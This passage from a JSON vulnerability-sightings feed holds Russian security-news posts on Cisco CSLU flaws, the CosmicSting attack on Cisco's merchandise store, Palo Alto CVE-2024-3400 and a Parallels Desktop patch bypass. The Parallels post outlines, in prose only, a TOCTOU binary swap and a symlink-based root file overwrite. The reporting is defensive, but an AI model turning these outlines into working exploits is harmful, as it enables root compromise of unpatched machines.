\u043d\u0438\u0445 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u0414\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u044d\u0442\u043e\u0433\u043e \u0435\u0449\u0435 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u043b.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, Cisco \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043e\u0431\u00a0\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0438 \u0431\u044d\u043a\u0434\u043e\u0440-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430\u00a0\u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Smart Licensing Utility \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u043d\u0435\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\nCSLU - \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Windows, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f\u043c\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e, \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u0445 \u043a \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044e Cisco Smart Software Manager.\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2024-20439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u043e\u0439\u0442\u0438 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 API \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Cisco Smart Licensing Utility.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 CLSU (CVE-2024-20440).\n\n\u041d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 API), \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u0432\u044b\u0448\u0435\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c (\u0432\u043e \u0432\u0441\u044f\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043a\u0430), \u0442\u043e \u0441\u0430\u0439\u0442 Cisco Merchandise Store \u043f\u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u0442\u043e\u0432\u0430\u0440\u043e\u0432 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u043e\u0439 \u043f\u0435\u0440\u0435\u0436\u0438\u043b \u0430\u0442\u0430\u043a\u0443 CosmicSting (CVE-2024-34102) \u0438 \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438.\n\n\u0418\u043d\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c \u0431\u044b\u043b \u0432\u0437\u043b\u043e\u043c\u0430\u043d \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u043a\u043e\u0434 JavaScript, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0440\u0430\u043b \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0438 \u0437\u0430\u043a\u0430\u0437\u0430. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0432\u0437\u043b\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u043b \u0432 \u043c\u0438\u043d\u0443\u0432\u0448\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435.\n\n\u0421\u0430\u043c\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u043a\u0430 \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442.", "creation_timestamp": "2024-09-05T15:19:45.000000Z"}, {"uuid": "5a7e4170-5007-4fb1-bde7-7c38c7124c1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/ctinow/215202", "content": "https://ift.tt/yqm91k5\nPalo Alto Patches 0-Day (CVE-2024-3400) Exploited by Python Backdoor", "creation_timestamp": "2024-04-15T20:36:45.000000Z"}, {"uuid": "e767c3be-154d-4575-b6c8-6c813f858184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/ctinow/215541", "content": "https://ift.tt/fjXhiq0\nCVE-2024-3400: Palo Alto Networks Zero-Day Exploited in the Wild - Security Boulevard", "creation_timestamp": "2024-04-18T00:11:27.000000Z"}, {"uuid": "9e4b37c3-57df-4b22-87c0-bffddddb0bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "exploited", "source": "https://t.me/true_secator/6775", "content": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 Parallels Desktop - \u043e\u0448\u0438\u0431\u043a\u0430, \u043d\u0435 \u0437\u043d\u0430\u044f, \u0447\u0442\u043e \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u041f\u041e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e, \u0443\u044f\u0437\u0432\u0438\u043c\u044b - \u0444\u0430\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430.\n\n\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u041f\u041e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041d\u043e \u0431\u043e\u043b\u0435\u0435 \u0443\u0441\u0443\u0433\u0443\u0431\u043b\u044f\u0435\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u0442\u043e, \u0447\u0442\u043e \u043e\u0431\u0435 \u0438\u043c\u0435\u044e\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC, \u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u043c\u044b\u0432\u0430\u0435\u0442 \u0440\u0443\u043a\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u041c\u0438\u043a\u043a\u0438 \u0414\u0436\u0438\u043d \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0432\u044b\u043a\u0430\u0442\u0438\u043b PoC, \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0432 \u043e\u0431\u0445\u043e\u0434 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0434\u043b\u044f\u00a0CVE-2024-34331\u00a0- \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u043c\u0430\u0435 2024 \u0433\u043e\u0434\u0430 \u041d\u0438\u043a\u043e\u043b\u0430\u0435\u043c \u0413\u0440\u0438\u043c\u0430\u043b\u044e\u043a\u043e\u043c \u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043a\u043e\u0434\u0430 \u0432 Parallels Desktop \u0434\u043b\u044f Mac.\n\n\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f Parallels \u0431\u044b\u043b \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044f, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 createinstallmedia \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Apple, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0430 root.\n\n\u041e\u0434\u043d\u0430\u043a\u043e, \u043a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0435\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u0432\u0443\u043c\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438.\n\n\u041f\u0435\u0440\u0432\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 - \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 TOCTOU \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0433\u043e\u043d\u043a\u0438 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0442\u043e\u0433\u043e, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d \u043b\u0438 createinstallmedia Apple, \u0438 \u0435\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a macOS, \u0436\u0434\u0435\u0442, \u043f\u043e\u043a\u0430 Parallels \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 Apple \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0439 \u0444\u0430\u0439\u043b createinstallmedia, \u0430 \u0437\u0430\u0442\u0435\u043c \u0431\u044b\u0441\u0442\u0440\u043e \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c, \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 root.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 - \u044d\u0442\u043e \u0430\u0442\u0430\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e do_repack_manual, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c root.\n\n\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u0443\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 do_repack_manual, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u043e\u0431\u043c\u0430\u043d\u044b\u0432\u0430\u044f Parallels \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0435\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0444\u0430\u0439\u043b\u044b \u043f\u043e \u043f\u0443\u0442\u0438, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e root, \u0438 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 p7z_tool, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root.\n\n\u0414\u0436\u0438\u043d \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u0447\u0435\u0442\u0430 \u0413\u0440\u0438\u043c\u0430\u043b\u044e\u043a\u0430 \u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u0441\u0432\u043e\u0438\u0445 \u0432\u044b\u0432\u043e\u0434\u0430\u0445 Parallels \u0432 \u0438\u044e\u043d\u0435 2024 \u0433\u043e\u0434\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0431\u0435\u0449\u0430\u043b \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043d\u043e, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u0440\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u0442\u0443\u0441\u0430  (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0431\u044b\u043b 19 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2025 \u0433\u043e\u0434\u0430), Parallels \u0442\u0430\u043a \u0438 \u043d\u0435 \u043e\u0442\u0432\u0435\u0442\u0438\u043b\u0430.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0439 \u0430\u0442\u0430\u043a\u0443 TOCTOU, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Parallels, 20.2.1 (55876), \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 19.4.0 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0412 Parallels \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0435\u0440\u0435\u043f\u0430\u043a\u043e\u0432\u043a\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 19.4.1, \u043f\u0435\u0440\u0435\u0439\u0434\u044f \u0441 do_repack_createinstallmedia \u043d\u0430 do_repack_manual, \u0447\u0442\u043e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0437\u0434\u0430\u043b\u043e \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e root, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0432\u0442\u043e\u0440\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 (20.2.1) \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0431\u044b\u043b\u0438 \u043e\u0442\u043c\u0435\u043d\u0435\u043d\u044b, \u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u043d\u043e\u0432\u0430 \u0441\u0442\u0430\u043b \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0432\u0441\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Parallels Desktop, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 Parallels \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e.", "creation_timestamp": "2025-02-25T12:33:00.000000Z"}, {"uuid": "d37e43bf-ed8a-40a1-936c-79fc0d835edf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215539", "content": "https://ift.tt/DHCEsx3\nXiid SealedTunnel: Unfazed by Yet Another Critical Firewall Vulnerability (CVE-2024-3400)", "creation_timestamp": "2024-04-17T23:46:40.000000Z"}, {"uuid": "dc507900-2232-4f3b-a8c5-1c11ee5838a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/true_secator/5666", "content": "Siemens \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 